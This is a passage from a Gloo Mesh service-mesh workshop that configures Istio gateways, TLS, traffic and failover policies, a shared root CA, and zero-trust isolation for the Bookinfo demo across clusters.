Kubernetes object in the gateways
workspace:
kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
name: gateways
namespace: gateways-config
spec:
importFrom:
- workspaces:
- selector:
allow_ingress: "true"
resources:
- kind: SERVICE
- kind: ALL
labels:
expose: "true"
exportTo:
- workspaces:
- selector:
allow_ingress: "true"
resources:
- kind: SERVICE
EOF
The Gateway team has decided to import the following from the workspaces that have the label allow_ingress
set to true
(using a selector):
- all the Kubernetes services exported by these workspaces
- all the resources (RouteTables, VirtualDestination, ...) exported by these workspaces that have the label
expose
set totrue
Lab 7 - Create the bookinfo workspace
We're going to create a workspace for the team in charge of the Bookinfo application.
The platform team needs to create the corresponding Workspace
Kubernetes objects in the Gloo Mesh management cluster.
Let's create the bookinfo
workspace which corresponds to the bookinfo-frontends
and bookinfo-backends
namespaces on the cluster(s):
kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: Workspace
metadata:
name: bookinfo
namespace: gloo-mesh
labels:
allow_ingress: "true"
spec:
workloadClusters:
- name: ${MGMT}
namespaces:
- name: bookinfo-config
- name: ${CLUSTER1}
namespaces:
- name: bookinfo-frontends
- name: bookinfo-backends
- name: ${CLUSTER2}
namespaces:
- name: bookinfo-frontends
- name: bookinfo-backends
EOF
Then, the Bookinfo team creates a WorkspaceSettings
Kubernetes object in the bookinfo
workspace:
kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
name: bookinfo
namespace: bookinfo-config
spec:
importFrom:
- workspaces:
- name: gateways
resources:
- kind: SERVICE
exportTo:
- workspaces:
- name: gateways
resources:
- kind: SERVICE
labels:
app: productpage
- kind: SERVICE
labels:
app: reviews
- kind: ALL
labels:
expose: "true"
EOF
The Bookinfo team has decided to export the following to the gateway
workspace (using a reference):
- the
productpage
and thereviews
Kubernetes services - all the resources (RouteTables, VirtualDestination, ...) that have the label
expose
set totrue
This is how the environment looks like with the workspaces:
Lab 8 - Expose the productpage through a gateway
In this step, we're going to expose the productpage
service through the Ingress Gateway using Gloo Mesh.
The Gateway team must create a VirtualGateway
to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests.
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: VirtualGateway
metadata:
name: north-south-gw
namespace: gateways-config
spec:
workloads:
- selector:
labels:
istio: ingressgateway
cluster: ${CLUSTER1}
listeners:
- http: {}
port:
number: 80
allowedRouteTables:
- host: '*'
EOF
Then, the Bookinfo team can create a RouteTable
to determine how they want to handle the traffic.
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: productpage
namespace: bookinfo-config
labels:
expose: "true"
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: gateways-config
cluster: ${MGMT}
workloadSelectors: []
http:
- name: productpage
matchers:
- uri:
exact: /productpage
- uri:
prefix: /static
- uri:
exact: /login
- uri:
exact: /logout
- uri:
prefix: /api/v1/products
forwardTo:
destinations:
- ref:
name: productpage
namespace: bookinfo-frontends
port:
number: 9080
EOF
You should now be able to access the productpage
application through the browser.
Get the URL to access the productpage
service using the following command:
echo "http://${ENDPOINT_HTTP_GW_CLUSTER1}/productpage"
Gloo Mesh translates the VirtualGateway
and RouteTable
into the corresponding Istio objects (Gateway
and VirtualService
).
Now, let's secure the access through TLS.
Let's first create a private key and a self-signed certificate:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout tls.key -out tls.crt -subj "/CN=*"
Then, you have to store them in a Kubernetes secrets running the following commands:
kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \
--from-file=tls.key=tls.key \
--from-file=tls.crt=tls.crt
kubectl --context ${CLUSTER2} -n istio-gateways create secret generic tls-secret \
--from-file=tls.key=tls.key \
--from-file=tls.crt=tls.crt
Finally, the Gateway team needs to update the VirtualGateway
to use this secret:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: VirtualGateway
metadata:
name: north-south-gw
namespace: gateways-config
spec:
workloads:
- selector:
labels:
istio: ingressgateway
cluster: cluster1
listeners:
- http: {}
# ---------------- SSL config ---------------------------
port:
number: 443
tls:
mode: SIMPLE
secretName: tls-secret
# -------------------------------------------------------
allowedRouteTables:
- host: '*'
EOF
If your Kubernetes cluster is running on AWS, the Load Balancer created for the Service Type Load Balancer corresponding to the Istio Ingress Gateway has a health check port configured to use the HTTP port.
Gloo Mesh is now configuring the Istio Ingress Gateway to listen on HTTPS, so in that case you need to patch the Kubernetes Service as follow.
cat << EOF > svc-patch.yaml
spec:
ports:
- port: 80
targetPort: 8443
EOF
kubectl --context ${CLUSTER1} patch -n istio-gateways svc istio-ingressgateway -p "$(cat svc-patch.yaml)"
kubectl --context ${CLUSTER2} patch -n istio-gateways svc istio-ingressgateway -p "$(cat svc-patch.yaml)"
You can now access the productpage
application securely through the browser.
Get the URL to access the productpage
service using the following command:
echo "https://${ENDPOINT_HTTPS_GW_CLUSTER1}/productpage"
This diagram shows the flow of the request (through the Istio Ingress Gateway):
Lab 9 - Traffic policies
We're going to use Gloo Mesh policies to inject faults and configure timeouts.
Let's create the following FaultInjectionPolicy
to inject a delay when the v2
version of the reviews
service talk to the ratings
service:
cat << EOF | kubectl --context ${MGMT} apply -f -
apiVersion: resilience.policy.gloo.solo.io/v2
kind: FaultInjectionPolicy
metadata:
name: ratings-fault-injection
namespace: bookinfo-config
spec:
applyToRoutes:
- route:
labels:
fault_injection: "true"
config:
delay:
fixedDelay: 2s
percentage: 100
EOF
As you can see, it will be applied to all the routes that have the label fault_injection
set to "true"
.
So, you need to create a RouteTable
with this label set in the corresponding route.
cat << EOF | kubectl --context ${MGMT} apply -f -
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: ratings
namespace: bookinfo-config
spec:
hosts:
- 'ratings.bookinfo-backends.svc.cluster.local'
workloadSelectors:
- selector:
labels:
app: reviews
http:
- name: ratings
labels:
fault_injection: "true"
matchers:
- uri:
prefix: /
forwardTo:
destinations:
- ref:
name: ratings
namespace: bookinfo-backends
port:
number: 9080
EOF
If you refresh the webpage, you should see that it takes longer to get the productpage
loaded when version v2
of the reviews
services is called.
Now, let's configure a 0.5s request timeout when the productpage
service calls the reviews
service on cluster1.
You need to create the following RetryTimeoutPolicy
:
cat << EOF | kubectl --context ${MGMT} apply -f -
apiVersion: resilience.policy.gloo.solo.io/v2
kind: RetryTimeoutPolicy
metadata:
name: reviews-request-timeout
namespace: bookinfo-config
spec:
applyToRoutes:
- route:
labels:
request_timeout: "0.5s"
config:
requestTimeout: 0.5s
EOF
As you can see, it will be applied to all the routes that have the label request_timeout
set to "0.5s"
.
Then, you need to create a RouteTable
with this label set in the corresponding route.
cat << EOF | kubectl --context ${MGMT} apply -f -
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: reviews
namespace: bookinfo-config
spec:
hosts:
- 'reviews.bookinfo-backends.svc.cluster.local'
workloadSelectors:
- selector:
labels:
app: productpage
http:
- name: reviews
labels:
request_timeout: "0.5s"
matchers:
- uri:
prefix: /
forwardTo:
destinations:
- ref:
name: reviews
namespace: bookinfo-backends
port:
number: 9080
subset:
version: v2
EOF
If you refresh the page several times, you'll see an error message telling that reviews are unavailable when the productpage is trying to communicate with the version v2
of the reviews
service.
This diagram shows where the timeout and delay have been applied:
Let's delete the Gloo Mesh objects we've created:
kubectl --context ${MGMT} -n bookinfo-config delete faultinjectionpolicy ratings-fault-injection
kubectl --context ${MGMT} -n bookinfo-config delete routetable ratings
kubectl --context ${MGMT} -n bookinfo-config delete retrytimeoutpolicy reviews-request-timeout
kubectl --context ${MGMT} -n bookinfo-config delete routetable reviews
Lab 10 - Create the Root Trust Policy
To allow secured (end-to-end mTLS) cross cluster communications, we need to make sure the certificates issued by the Istio control plance on each cluster are signed with intermediate certificates which have a common root CA.
Gloo Mesh fully automates this process.
Run this command to see how the communication between microservices occurs currently:
kubectl --context ${CLUSTER1} exec -t -n bookinfo-backends deploy/reviews-v1 \
-- openssl s_client -showcerts -connect ratings:9080 -alpn istio
Now, the output should be like that:
...
Certificate chain
0 s:
i:O = cluster1
-----BEGIN CERTIFICATE-----
MIIDFzCCAf+gAwIBAgIRALsoWlroVcCc1n+VROhATrcwDQYJKoZIhvcNAQELBQAw
...
BPiAYRMH5j0gyBqiZZEwCfzfQe1e6aAgie9T
-----END CERTIFICATE-----
1 s:O = cluster1
i:O = cluster1
-----BEGIN CERTIFICATE-----
MIICzjCCAbagAwIBAgIRAKIx2hzMbAYzM74OC4Lj1FUwDQYJKoZIhvcNAQELBQAw
...
uMTPjt7p/sv74fsLgrx8WMI0pVQ7+2plpjaiIZ8KvEK9ye/0Mx8uyzTG7bpmVVWo
ugY=
-----END CERTIFICATE-----
...
Now, run the same command on the second cluster:
kubectl --context ${CLUSTER2} exec -t -n bookinfo-backends deploy/reviews-v1 \
-- openssl s_client -showcerts -connect ratings:9080 -alpn istio
The output should be like that:
...
Certificate chain
0 s:
i:O = cluster2
-----BEGIN CERTIFICATE-----
MIIDFzCCAf+gAwIBAgIRALo1dmnbbP0hs1G82iBa2oAwDQYJKoZIhvcNAQELBQAw
...
YvDrZfKNOKwFWKMKKhCSi2rmCvLKuXXQJGhy
-----END CERTIFICATE-----
1 s:O = cluster2
i:O = cluster2
-----BEGIN CERTIFICATE-----
MIICzjCCAbagAwIBAgIRAIjegnzq/hN/NbMm3dmllnYwDQYJKoZIhvcNAQELBQAw
...
GZRM4zV9BopZg745Tdk2LVoHiBR536QxQv/0h1P0CdN9hNLklAhGN/Yf9SbDgLTw
6Sk=
-----END CERTIFICATE-----
...
The first certificate in the chain is the certificate of the workload and the second one is the Istio CA’s signing (CA) certificate.
As you can see, the Istio CA’s signing (CA) certificates are different in the 2 clusters, so one cluster can't validate certificates issued by the other cluster.
Creating a Root Trust Policy will unify these two CAs with a common root identity.
Run the following command to create the Root Trust Policy:
cat << EOF | kubectl --context ${MGMT} apply -f -
apiVersion: admin.gloo.solo.io/v2
kind: RootTrustPolicy
metadata:
name: root-trust-policy
namespace: gloo-mesh
spec:
config:
mgmtServerCa:
generated: {}
autoRestartPods: true
EOF
When we create the RootTrustPolicy, Gloo Mesh will kick off the process of unifying identities under a shared root.
First, Gloo Mesh will create the Root certificate.
Then, Gloo Mesh will use the Gloo Mesh Agent on each of the clusters to create a new key/cert pair that will form an intermediate CA used by the mesh on that cluster. It will then create a Certificate Request (CR).
Gloo Mesh will then sign the intermediate certificates with the Root certificate.
At that point, we want Istio to pick up the new intermediate CA and start using that for its workloads. To do that Gloo Mesh creates a Kubernetes secret called cacerts
in the istio-system
namespace.
You can have a look at the Istio documentation here if you want to get more information about this process.
Check that the secret containing the new Istio CA has been created in the istio namespace, on the first cluster:
kubectl --context ${CLUSTER1} get secret -n istio-system cacerts -o yaml
Here is the expected output:
apiVersion: v1
data:
ca-cert.pem: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZFRENDQXZpZ0F3SUJBZ0lRUG5kRDkwejN4dytYeTBzYzNmcjRmekFOQmdrcWhraUc5dzBCQVFzRkFEQWIKTVJrd0Z3WURWU...
jFWVlZtSWl3Si8va0NnNGVzWTkvZXdxSGlTMFByWDJmSDVDCmhrWnQ4dz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
ca-key.pem: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlKS0FJQkFBS0NBZ0VBczh6U0ZWcEFxeVNodXpMaHVXUlNFMEJJMXVwbnNBc3VnNjE2TzlKdzBlTmhhc3RtClUvZERZS...
DT2t1bzBhdTFhb1VsS1NucldpL3kyYUtKbz0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K
cert-chain.pem: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZFRENDQXZpZ0F3SUJBZ0lRUG5kRDkwejN4dytYeTBzYzNmcjRmekFOQmdrcWhraUc5dzBCQVFzRkFEQWIKTVJrd0Z3WURWU...
RBTHpzQUp2ZzFLRUR4T2QwT1JHZFhFbU9CZDBVUDk0KzJCN0tjM2tkNwpzNHYycEV2YVlnPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
key.pem: ""
root-cert.pem: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUU0ekNDQXN1Z0F3SUJBZ0lRT2lZbXFGdTF6Q3NzR0RFQ3JOdnBMakFOQmdrcWhraUc5dzBCQVFzRkFEQWIKTVJrd0Z3WURWU...
UNBVEUtLS0tLQo=
kind: Secret
metadata:
labels:
context.mesh.gloo.solo.io/cluster: cluster1
context.mesh.gloo.solo.io/namespace: istio-system
gloo.solo.io/parent_cluster: cluster1
gloo.solo.io/parent_group: internal.gloo.solo.io
gloo.solo.io/parent_kind: IssuedCertificate
gloo.solo.io/parent_name: istiod-1-12-istio-system-cluster1
gloo.solo.io/parent_namespace: istio-system
gloo.solo.io/parent_version: v2
reconciler.mesh.gloo.solo.io/name: cert-agent
name: cacerts
namespace: istio-system
type: certificates.mesh.gloo.solo.io/issued_certificate
Same operation on the second cluster:
kubectl --context ${CLUSTER2} get secret -n istio-system cacerts -o yaml
Here is the expected output:
apiVersion: v1
data:
ca-cert.pem: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZFRENDQXZpZ0F3SUJBZ0lRWXE1V29iWFhGM1gwTjlNL3BYYkNKekFOQmdrcWhraUc5dzBCQVFzRkFEQWIKTVJrd0Z3WURWU...
XpqQ1RtK2QwNm9YaDI2d1JPSjdQTlNJOTkrR29KUHEraXltCkZIekhVdz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
ca-key.pem: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlKS1FJQkFBS0NBZ0VBMGJPMTdSRklNTnh4K1lMUkEwcFJqRmRvbG1SdW9Oc3gxNUUvb3BMQ1l1RjFwUEptCndhR1U1V...
MNU9JWk5ObDA4dUE1aE1Ca2gxNCtPKy9HMkoKLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K
cert-chain.pem: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZFRENDQXZpZ0F3SUJBZ0lRWXE1V29iWFhGM1gwTjlNL3BYYkNKekFOQmdrcWhraUc5dzBCQVFzRkFEQWIKTVJrd0Z3WURWU...
RBTHpzQUp2ZzFLRUR4T2QwT1JHZFhFbU9CZDBVUDk0KzJCN0tjM2tkNwpzNHYycEV2YVlnPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
key.pem: ""
root-cert.pem: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUU0ekNDQXN1Z0F3SUJBZ0lRT2lZbXFGdTF6Q3NzR0RFQ3JOdnBMakFOQmdrcWhraUc5dzBCQVFzRkFEQWIKTVJrd0Z3WURWU...
UNBVEUtLS0tLQo=
kind: Secret
metadata:
labels:
context.mesh.gloo.solo.io/cluster: cluster2
context.mesh.gloo.solo.io/namespace: istio-system
gloo.solo.io/parent_cluster: cluster2
gloo.solo.io/parent_group: internal.gloo.solo.io
gloo.solo.io/parent_kind: IssuedCertificate
gloo.solo.io/parent_name: istiod-1-12-istio-system-cluster2
gloo.solo.io/parent_namespace: istio-system
gloo.solo.io/parent_version: v2
reconciler.mesh.gloo.solo.io/name: cert-agent
name: cacerts
namespace: istio-system
type: certificates.mesh.gloo.solo.io/issued_certificate
As you can see, the secrets contain the same Root CA (base64 encoded), but different intermediate certs.
Have a look at the RootTrustPolicy
object we've just created and notice the autoRestartPods: true
in the config
. This instructs Gloo Mesh to restart all the Pods in the mesh.
In recent versions of Istio, the control plane is able to pick up this new cert without any restart, but we would need to wait for the different Pods to renew their certificates (which happens every hour by default).
Now, let's check what certificates we get when we run the same commands we ran before we created the Root Trust Policy:
kubectl --context ${CLUSTER1} exec -t -n bookinfo-backends deploy/reviews-v1 \
-- openssl s_client -showcerts -connect ratings:9080 -alpn istio
The output should be like that:
...
Certificate chain
0 s:
i:
-----BEGIN CERTIFICATE-----
MIIEBzCCAe+gAwIBAgIRAK1yjsFkisSjNqm5tzmKQS8wDQYJKoZIhvcNAQELBQAw
...
T77lFKXx0eGtDNtWm/1IPiOutIMlFz/olVuN
-----END CERTIFICATE-----
1 s:
i:O = gloo-mesh
-----BEGIN CERTIFICATE-----
MIIFEDCCAvigAwIBAgIQPndD90z3xw+Xy0sc3fr4fzANBgkqhkiG9w0BAQsFADAb
...
hkZt8w==
-----END CERTIFICATE-----
2 s:O = gloo-mesh
i:O = gloo-mesh
-----BEGIN CERTIFICATE-----
MIIE4zCCAsugAwIBAgIQOiYmqFu1zCssGDECrNvpLjANBgkqhkiG9w0BAQsFADAb
...
s4v2pEvaYg==
-----END CERTIFICATE-----
3 s:O = gloo-mesh
i:O = gloo-mesh
-----BEGIN CERTIFICATE-----
MIIE4zCCAsugAwIBAgIQOiYmqFu1zCssGDECrNvpLjANBgkqhkiG9w0BAQsFADAb
...
s4v2pEvaYg==
-----END CERTIFICATE-----
...
And let's compare with what we get on the second cluster:
kubectl --context ${CLUSTER2} exec -t -n bookinfo-backends deploy/reviews-v1 \
-- openssl s_client -showcerts -connect ratings:9080 -alpn istio
The output should be like that:
...
Certificate chain
0 s:
i:
-----BEGIN CERTIFICATE-----
MIIEBjCCAe6gAwIBAgIQfSeujXiz3KsbG01+zEcXGjANBgkqhkiG9w0BAQsFADAA
...
EtTlhPLbyf2GwkUgzXhdcu2G8uf6o16b0qU=
-----END CERTIFICATE-----
1 s:
i:O = gloo-mesh
-----BEGIN CERTIFICATE-----
MIIFEDCCAvigAwIBAgIQYq5WobXXF3X0N9M/pXbCJzANBgkqhkiG9w0BAQsFADAb
...
FHzHUw==
-----END CERTIFICATE-----
2 s:O = gloo-mesh
i:O = gloo-mesh
-----BEGIN CERTIFICATE-----
MIIE4zCCAsugAwIBAgIQOiYmqFu1zCssGDECrNvpLjANBgkqhkiG9w0BAQsFADAb
...
s4v2pEvaYg==
-----END CERTIFICATE-----
3 s:O = gloo-mesh
i:O = gloo-mesh
-----BEGIN CERTIFICATE-----
MIIE4zCCAsugAwIBAgIQOiYmqFu1zCssGDECrNvpLjANBgkqhkiG9w0BAQsFADAb
...
s4v2pEvaYg==
-----END CERTIFICATE-----
...
You can see that the last certificate in the chain is now identical on both clusters. It's the new root certificate.
The first certificate is the certificate of the service. Let's decrypt it.
Copy and paste the content of the certificate (including the BEGIN and END CERTIFICATE lines) in a new file called /tmp/cert
and run the following command:
openssl x509 -in /tmp/cert -text
The output should be as follow:
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
7d:27:ae:8d:78:b3:dc:ab:1b:1b:4d:7e:cc:47:17:1a
Signature Algorithm: sha256WithRSAEncryption
Issuer:
Validity
Not Before: Sep 17 08:21:08 2020 GMT
Not After : Sep 18 08:21:08 2020 GMT
Subject:
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
...
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
X509v3 Extended Key Usage:
TLS Web Server Authentication, TLS Web Client Authentication
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 Subject Alternative Name: critical
URI:spiffe://cluster2/ns/bookinfo-backends/sa/bookinfo-ratings
Signature Algorithm: sha256WithRSAEncryption
...
-----BEGIN CERTIFICATE-----
MIIEBjCCAe6gAwIBAgIQfSeujXiz3KsbG01+zEcXGjANBgkqhkiG9w0BAQsFADAA
...
EtTlhPLbyf2GwkUgzXhdcu2G8uf6o16b0qU=
-----END CERTIFICATE-----
The Subject Alternative Name (SAN) is the most interesting part. It allows the sidecar proxy of the reviews
service to validate that it talks to the sidecar proxy of the ratings
service.
We also need to make sure we restart our in-mesh
deployment because it's not yet part of a Workspace
:
kubectl --context ${CLUSTER1} -n httpbin rollout restart deploy/in-mesh
Lab 11 - Multi-cluster Traffic
On the first cluster, the v3
version of the reviews
microservice doesn't exist, but we can use Gloo Mesh to explicitly direct all the traffic to the v3
version of the second cluster.
To do that, the Bookinfo team must update the WorkspaceSettings
to discover all the reviews
services and to make them available from any cluster.
cat << EOF | kubectl --context ${MGMT} apply -f -
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
name: bookinfo
namespace: bookinfo-config
spec:
importFrom:
- workspaces:
- name: gateways
resources:
- kind: SERVICE
exportTo:
- workspaces:
- name: gateways
resources:
- kind: SERVICE
labels:
app: productpage
- kind: SERVICE
labels:
app: reviews
- kind: ALL
labels:
expose: "true"
options:
federation:
enabled: true
hostSuffix: global
serviceSelector:
- workspace: bookinfo
labels:
app: reviews
EOF
Gloo Mesh will discover the remote services and create the corresponding Istio ServiceEntries
to make them available.
After that, you need to create a RouteTable
to send all the traffic to the v3
version of the reviews
service running on the second cluster.
cat << EOF | kubectl --context ${MGMT} apply -f -
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: reviews
namespace: bookinfo-config
spec:
hosts:
- 'reviews.bookinfo-backends.svc.cluster.local'
workloadSelectors:
- selector:
labels:
app: productpage
http:
- name: reviews
matchers:
- uri:
prefix: /
forwardTo:
destinations:
- ref:
name: reviews
namespace: bookinfo-backends
cluster: cluster2
port:
number: 9080
subset:
version: v3
EOF
If you refresh the page, you'll see the v3
version of the reviews
microservice:
This updated diagram shows the flow of the requests:
Let's delete the RouteTable
we've created:
kubectl --context ${MGMT} -n bookinfo-config delete routetable reviews
Lab 12 - Leverage Virtual Destinations
Right now, we've only exposed the productpage
service on the first cluster.
In this lab, we're going to make it available on both clusters.
Let's update the VirtualGateway to expose it on both clusters.
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: VirtualGateway
metadata:
name: north-south-gw
namespace: gateways-config
spec:
workloads:
- selector:
labels:
istio: ingressgateway
listeners:
- http: {}
port:
number: 443
tls:
mode: SIMPLE
secretName: tls-secret
allowedRouteTables:
- host: '*'
EOF
Then, we can configure the RouteTable
to send the traffic to a Virtual Destination which will be composed of the productpage
services running in both clusters.
Let's create this Virtual Destination.
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: VirtualDestination
metadata:
name: productpage
namespace: bookinfo-config
labels:
expose: "true"
spec:
hosts:
- productpage.global
services:
- namespace: bookinfo-frontends
labels:
app: productpage
ports:
- number: 9080
protocol: HTTP
EOF
Note that we have added the label expose
with the value true
to make sure it will be exported to the Gateway ̀̀Workspace
.
After that, we need to update the RouteTable
to use it.
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: productpage
namespace: bookinfo-config
labels:
expose: "true"
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: gateways-config
cluster: mgmt
workloadSelectors: []
http:
- name: productpage
matchers:
- uri:
exact: /productpage
- uri:
prefix: /static
- uri:
exact: /login
- uri:
exact: /logout
- uri:
prefix: /api/v1/products
forwardTo:
destinations:
- ref:
name: productpage
namespace: bookinfo-frontends
kind: VIRTUAL_DESTINATION
port:
number: 9080
EOF
You can now access the productpage
service using the gateway of the second cluster.
Get the URL to access the productpage
service from the second cluster using the following command:
echo "https://${ENDPOINT_HTTPS_GW_CLUSTER2}/productpage"
Now, if you try to access it from the first cluster, you can see that you now get the v3
version of the reviews
service (red stars).
This diagram shows the flow of the request (through both Istio ingress gateways):
It's nice, but you generally want to direct the traffic to the local services if they're available and failover to the remote cluster only when they're not.
In order to do that we need to create 2 other policies.
The first one is a FailoverPolicy
:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: resilience.policy.gloo.solo.io/v2
kind: FailoverPolicy
metadata:
name: failover
namespace: bookinfo-config
spec:
applyToDestinations:
- kind: VIRTUAL_DESTINATION
selector:
labels:
failover: "true"
config:
localityMappings: []
EOF
It will update the Istio DestinationRule
to enable failover.
The second one is an OutlierDetectionPolicy
:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: resilience.policy.gloo.solo.io/v2
kind: OutlierDetectionPolicy
metadata:
name: outlier-detection
namespace: bookinfo-config
spec:
applyToDestinations:
- kind: VIRTUAL_DESTINATION
selector:
labels:
failover: "true"
config:
consecutiveErrors: 2
interval: 5s
baseEjectionTime: 30s
maxEjectionPercent: 100
EOF
It will update the Istio DestinationRule
to specify how/when we want the failover to happen.
As you can see, both policies will be applied to VirtualDestination
objects that have the label failover
set to "true"
.
So we need to update the VirtualDestination
:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: VirtualDestination
metadata:
name: productpage
namespace: bookinfo-config
labels:
expose: "true"
failover: "true"
spec:
hosts:
- productpage.global
services:
- namespace: bookinfo-frontends
labels:
app: productpage
ports:
- number: 9080
protocol: HTTP
EOF
Now, if you try to access the productpage from the first cluster, you should only get the v1
and v2
versions (the local ones).
This updated diagram shows the flow of the requests using the local services:
If the productpage
service doesn't exist on the first cluster, the Istio Ingress Gateway of this cluster will automatically use the productpage
service running on the other cluster.
Let's try this:
kubectl --context ${CLUSTER1} -n bookinfo-frontends scale deploy/productpage-v1 --replicas=0
kubectl --context ${CLUSTER1} -n bookinfo-frontends wait --for=jsonpath='{.spec.replicas}'=0 deploy/productpage-v1
You can still access the application on cluster1 even if the productpage isn't running there anymore. And you can see the v3
version of the reviews
service (red stars).
This updated diagram shows the flow of the request now that the productpage
service isn't running in the first cluster:
Let's restart the productpage
service:
kubectl --context ${CLUSTER1} -n bookinfo-frontends scale deploy/productpage-v1 --replicas=1
kubectl --context ${CLUSTER1} -n bookinfo-frontends wait --for=jsonpath='{.status.readyReplicas}'=1 deploy/productpage-v1
But what happens if the productpage
service is running, but is unavailable ?
Let's try !
The following command will patch the deployment to run a new version which won't respond to the incoming requests.
kubectl --context ${CLUSTER1} -n bookinfo-frontends patch deploy productpage-v1 --patch '{"spec": {"template": {"spec": {"containers": [{"name": "productpage","command": ["sleep", "20h"]}]}}}}'
kubectl --context ${CLUSTER1} -n bookinfo-frontends rollout status deploy/productpage-v1
You can still access the bookinfo application.
This updated diagram shows the flow of the request now that the productpage
service isn't available in the first cluster:
Run the following command to make the productpage
available again in the first cluster
kubectl --context ${CLUSTER1} -n bookinfo-frontends patch deployment productpage-v1 --type json -p '[{"op": "remove", "path": "/spec/template/spec/containers/0/command"}]'
kubectl --context ${CLUSTER1} -n bookinfo-frontends rollout status deploy/productpage-v1
Let's apply the original RouteTable
yaml:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: productpage
namespace: bookinfo-config
labels:
expose: "true"
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: gateways-config
cluster: mgmt
workloadSelectors: []
http:
- name: productpage
matchers:
- uri:
exact: /productpage
- uri:
prefix: /static
- uri:
exact: /login
- uri:
exact: /logout
- uri:
prefix: /api/v1/products
forwardTo:
destinations:
- ref:
name: productpage
namespace: bookinfo-frontends
port:
number: 9080
EOF
And also delete the different objects we've created:
kubectl --context ${MGMT} -n bookinfo-config delete virtualdestination productpage
kubectl --context ${MGMT} -n bookinfo-config delete failoverpolicy failover
kubectl --context ${MGMT} -n bookinfo-config delete outlierdetectionpolicy outlier-detection
Lab 13 - Zero trust
In the previous step, we federated multiple meshes and established a shared root CA for a shared identity domain.
All the communications between Pods in the mesh are now encrypted by default, but:
- communications between services that are in the mesh and others which aren't in the mesh are still allowed and not encrypted
- all the services can talk together
Let's validate this.
Run the following commands to initiate a communication from a service which isn't in the mesh to a service which is in the mesh:
pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}')
kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0
You should get a 200
response code which confirm that the communication is currently allowed.
Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh:
pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}')
kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0
You should get a 200
response code again.
To enfore a zero trust policy, it shouldn't be the case.
We'll leverage the Gloo Mesh workspaces to get to a state where:
- communications between services which are in the mesh and others which aren't in the mesh aren't allowed anymore
- communications between services in the mesh are allowed only when services are in the same workspace or when their workspaces have import/export rules.
The Bookinfo team must update its WorkspaceSettings
Kubernetes object to enable service isolation.
kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
name: bookinfo
namespace: bookinfo-config
spec:
importFrom:
- workspaces:
- name: gateways
resources:
- kind: SERVICE
exportTo:
- workspaces:
- name: gateways
resources:
- kind: SERVICE
labels:
app: productpage
- kind: SERVICE
labels:
app: reviews
- kind: ALL
labels:
expose: "true"
options:
serviceIsolation:
enabled: true
trimProxyConfig: true
EOF
When service isolation is enabled, Gloo Mesh creates the corresponding Istio AuthorizationPolicy
and PeerAuthentication
objects to enforce zero trust.
When trimProxyConfig
is set to true
